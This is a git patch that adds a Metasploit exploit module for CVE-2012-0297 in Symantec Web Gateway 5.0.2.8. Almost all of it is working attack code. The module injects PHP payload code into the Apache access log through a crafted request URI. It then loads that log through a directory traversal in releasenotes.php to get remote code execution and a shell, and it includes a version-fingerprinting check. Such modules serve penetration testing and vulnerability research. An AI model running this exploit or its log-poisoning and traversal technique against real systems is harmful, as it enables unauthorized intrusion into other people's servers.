From 96d70e5fb66b971b65913c0104dde2ce58ff72cb Mon Sep 17 00:00:00 2001
From: sinn3r <msfsinn3r@gmail.com>
Date: Sun, 27 May 2012 22:47:39 -0500
Subject: [PATCH] Add CVE-2012-0297 Symantec Web Gateway

---
 .../linux/http/symantec_web_gateway_lfi.rb    | 101 ++++++++++++++++++
 1 file changed, 101 insertions(+)
 create mode 100644 modules/exploits/linux/http/symantec_web_gateway_lfi.rb

diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
new file mode 100644
index 0000000000..f7c80a5586
--- /dev/null
+++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
@@ -0,0 +1,101 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
+			'Description'    => %q{
+					This module exploits a vulnerability found in Symantec Web Gateway's HTTP
+				service.  By injecting PHP code in the access log, it is possible to load it
+				with a directory traversal flaw, which allows remote code execution under the
+				context of 'apache'. Please note that it may take a few minutes to get a
+				shell back.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Unknown', #Discovery
+					'muts',    #PoC
+					'sinn3r'   #Metasploit
+				],
+			'References'     =>
+				[
+					['CVE', '2012-0297'],
+					['EDB', '18932'],
+					['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'WfsDelay' => 300,  #5 minutes
+					'DisablePayloadHandler' => 'false',
+					'ExitFunction' => "none"
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					['Symantec Web Gateway 5.0.2.8', {}],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Apr 1 2012",
+			'DefaultTarget'  => 0))
+	end
+
+
+	def check
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => '/spywall/login.php'
+		})
+
+		if res and res.body =~ /Symantec Web Gateway/ and res.body =~ /Version 5\.0\.2\.\d/
+			return Exploit::CheckCode::Vulnerable
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+
+	def exploit
+		peer = "#{rhost}:#{rport}"
+
+		php = %Q|<?php #{payload.encoded} ?>|
+
+		# Inject PHP to log
+		print_status("#{peer} - Injecting PHP to log...")
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => "/#{php}"
+		})
+
+		select(nil, nil, nil, 1)
+
+		# Use the directory traversal to load the PHP code
+		print_status("#{peer} - Loading PHP code..")
+		send_request_raw({
+			'method' => 'GET',
+			'uri'    => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
+		})
+
+		print_status("#{peer} - Waiting for a session, may take some time...")
+
+		select(nil, nil, nil, 1)
+
+		handler
+	end
+end